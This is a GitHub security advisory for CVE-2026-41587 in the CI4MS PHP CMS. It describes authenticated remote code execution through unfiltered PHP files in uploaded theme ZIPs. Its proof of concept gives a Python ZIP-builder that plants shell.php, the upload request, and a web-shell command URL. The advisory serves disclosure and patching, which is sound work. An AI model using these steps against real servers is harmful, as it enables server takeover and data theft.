GitHub Advisoryadvisory · Packagist
GHSA-fw49-9xq4-gmx6 CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution
HIGH
Official page ↗
- Aliases
- CVE-2026-41587
- Ecosystem
- Packagist
- Packages
- ci4-cms-erp/ci4ms
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-434
- Reviewed
- 2026-04-29
Affected packages
• Packagist ci4-cms-erp/ci4ms: >= 0.26.0.0, < 0.31.7.0 → fixed in 0.31.7.0
Description
Summary
A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.
Details
File: `modules/Theme/Controllers/Theme.php`
After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52
File: `modules/Theme/Helpers/themes_helper.php`
The helper copies every file matching *.* from `public/templates//` inside the ZIP directly into `public/templates//` on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: `themes_helper.php:60-68`
Because the web root is `public/`, any `.php` file placed there is directly reachable over HTTP.
PHP files are also installed — without filtering — into app/Controllers/templates//, app/Libraries/templates//, and other app/ subdirectories: `themes_helper.php:31-42`
The theme name is derived from the uploaded filename via `str_replace('_theme.zip', '', $file->getName())`, so uploading `evil_theme.zip` sets the theme name to evil and the install target to `public/templates/evil/`: `Theme.php:20`
PoC
Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).
Step 1 — Build the malicious ZIP:
```
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr('public/templates/evil/shell.php', '')
buf.seek(0)
with open('evil_theme.zip', 'wb') as f:
f.write(buf.read())
```
Step 2 — Upload:
```
POST /backend/themes/upload
Content-Type: multipart/form-data
field name: theme
file: evil_theme.zip
```
Step 3 — Execute:
```
GET https://target.com/templates/evil/shell.php?c=id
```
Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).
Impact
Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.
Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.
Related
Alias · CVE (1)
- CVE-2026-41587 CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme… vulnerability
Weakness · CWE (1)
- CWE-434 Unrestricted Upload of File with Dangerous Type weakness